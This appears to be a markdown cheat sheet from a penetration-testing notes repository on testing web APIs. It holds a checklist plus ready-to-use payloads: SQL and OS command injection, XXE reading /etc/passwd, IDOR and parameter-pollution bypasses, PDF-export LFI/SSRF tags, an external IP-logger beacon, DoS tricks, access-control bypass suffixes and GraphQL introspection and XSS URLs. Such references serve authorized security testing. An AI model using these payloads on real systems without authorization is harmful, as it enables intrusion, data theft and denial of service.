Skip to content

Latest commit

 

History

History
160 lines (139 loc) · 5.89 KB

File metadata and controls

160 lines (139 loc) · 5.89 KB

APIs

Tools

# Tools
https://github.com/Fuzzapi/fuzzapi
https://github.com/Fuzzapi/API-fuzzer
https://github.com/flipkart-incubator/Astra
https://github.com/BBVA/apicheck/

# Wordlists
https://github.com/chrislockard/api_wordlist

# Swagger to burp
https://rhinosecuritylabs.github.io/Swagger-EZ/

# REST uses: HTTP, JSON , URL and XML
# SOAP uses: mostly HTTP and XML

# SQLi tip
{"id":"56456"} - OK
{"id":"56456 AND 1=1#"} -> OK
{"id":"56456 AND 1=2#"} -> OK
{"id":"56456 AND 1=3#"} -> ERROR
{"id":"56456 AND sleep(15)#"} -> SLEEP 15 SEC

# Tip
If the request returns nothing, add this header to siumlate a Frontend
"X-requested-with: XMLHttpRequest"

# Checklist:
•  Auth type
•  Max retries in auth
•  Encryption in sensible fields
•  Test from most vulnerable to less
   ◇ Organization's user management
   ◇ Export to CSV/HTML/PDF
   ◇ Custom views of dashboards
   ◇ Sub user creation&management
   ◇ Object sharing (photos, posts,etc)
• Archive.org
• Censys
• VirusTotal
• Abusing object level authentication
• Abusing weak password/dictionary brute forcing
• Testing for mass management
• Testing for excessive data exposure
• Testing for command injection
• Testing for misconfigured permissions
• Testing for SQL injection

Access
•  Limit in repeated requests
•  Check always HTTPS
•  Check HSTS
•  Check distinct login paths /api/mobile/login | /api/v3/login | /api/magic_link
•  Even id is not numeric, try it /?user_id=111 instead /?user_id=user@mail.com
•  Bruteforce login
•  Try mobile API versions

Input
•  Check distinct methods GET/POST/PUT/DELETE.
•  Validate content-type on request Accept header (e.g. application/xml, application/json, etc.)
•  Validate content-type of posted data (e.g. application/x-www-form-urlencoded, multipart/form-data, application/json, etc.).
•  Validate user input (e.g. XSS, SQL-Injection, Remote Code Execution, etc.).
•  Check sensitive data in the URL.
• Try input injections in ALL params
• Try execute operating system command 
   ◇ Linux :api.url.com/endpoint?name=file.txt;ls%20/
• XXE
   ◇ <!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
• SSRF
• Check distinct versions api/v{1..3}
• If REST API try to use as SOAP changing the content-type to "application/xml" and sent any simple xml to body
• IDOR in body/header is more vulnerable than ID in URL
• IDOR:
   ◇ Understand real private resources that only belongs specific user
   ◇ Understand relationships receipts-trips
   ◇ Understand roles and groups
   ◇ If REST API, change GET to other method Add a “Content-length” HTTP header or Change the “Content-type”
   ◇ If get 403/401 in api/v1/trips/666 try 50 random IDs from 0001 to 9999
• Bypass IDOR limits:
   ◇ Wrap ID with an array {“id”:111} --> {“id”:[111]}
   ◇ JSON wrap {“id”:111} --> {“id”:{“id”:111}}
   ◇ Send ID twice URL?id=<LEGIT>&id=<VICTIM>
   ◇ Send wildcard {"user_id":"*"}
   ◇ Param pollution 
      ▪ /api/get_profile?user_id=<victim’s_id>&user_id=<user_id>
      ▪ /api/get_profile?user_id=<legit_id>&user_id=<victim’s_id>
      ▪ JSON POST: api/get_profile {“user_id”:<legit_id>,”user_id”:<victim’s_id>}
      ▪ JSON POST: api/get_profile {“user_id”:<victim’s_id>,”user_id”:<legit_id>}
      ▪ Try wildcard instead ID
• If .NET app and found path, Developers sometimes use "Path.Combine(path_1,path_2)" to create full path. Path.Combine has weird behavior: if param#2 is absolute path, then param#1 is ignored.
   ◇ https://example.org/download?filename=a.png -> https://example.org/download?filename=C:\\inetpub\wwwroot\a.png
   ◇ Test: https://example.org/download?filename=\\smb.dns.praetorianlabs.com\a.png
• Found a limit / page param? (e.g: /api/news?limit=100) It might be vulnerable to Layer 7 DoS. Try to send a long value (e.g: limit=999999999) and see what happens :)

Processing
•  Check if all the endpoints are protected behind authentication.
•  Check /user/654321/orders instead /me/orders.
•  Check auto increment ID's.
•  If parsing XML, check XXE.
•  Check if DEBUG is enabled.
• If found GET /api/v1/users/<id> try DELETE / POST to create/delete users
• Test less known endpoint POST /api/profile/upload_christmas_voice_greeting

Output
• If you find sensitive resource like /receipt try /download_receipt,/export_receipt.
• Export pdf - try XSS or HTML injection
   ◇ LFI: username=<iframe src="file:///C:/windows/system32/drivers/etc/hosts" height=1000 width=1000/>
   ◇ SSRF: <object data=”http://127.0.0.1:8443”/>
   ◇ Open Port: <img src=”http://127.0.0.1:445”/> if delay is < 2.3 secs is open
   ◇ Get real IP: <img src=”https://iplogger.com/113A.gif”/>
   ◇ DoS: <img src=”http://download.thinkbroadband.com/1GB.zip”/>
      ▪ <iframe src=”http://example.com/RedirectionLoop.aspx”/>

Endpoint bypasses

# whatever.com/api/v1/users/sensitivedata -> access denied
# Add to the final endpoint
.json
?
..;/
\..\.\getUSer
/
??
&details
#
%
%20
%09

GraphQL

https://github.com/doyensec/inql
https://github.com/swisskyrepo/GraphQLmap
To test a server for GraphQL introspection misconfiguration: 
1) Intercept the HTTP request being sent to the server 
2) Replace its post content / query with a generic introspection query to fetch the entire backend schema 
3) Visualize the schema to gather juicy API calls. 
4) Craft any potential GraphQL call you might find interesting and HACK away!

example.com/graphql?query={__schema%20{%0atypes%20{%0aname%0akind%0adescription%0afields%20{%0aname%0a}%0a}%0a}%0a}

XSS in GraphQL:
http://localhost:4000/example-1?id=%3C/script%3E%3Cscript%3Ealert('I%20%3C3%20GraphQL.%20Hack%20the%20Planet!!')%3C/script%3E%3Cscript%3E
http://localhost:4000/example-3?id=%3C/script%3E%3Cscript%3Ealert('I%20%3C3%20GraphQL.%20Hack%20the%20Planet!!')%3C/script%3E%3Cscript%3E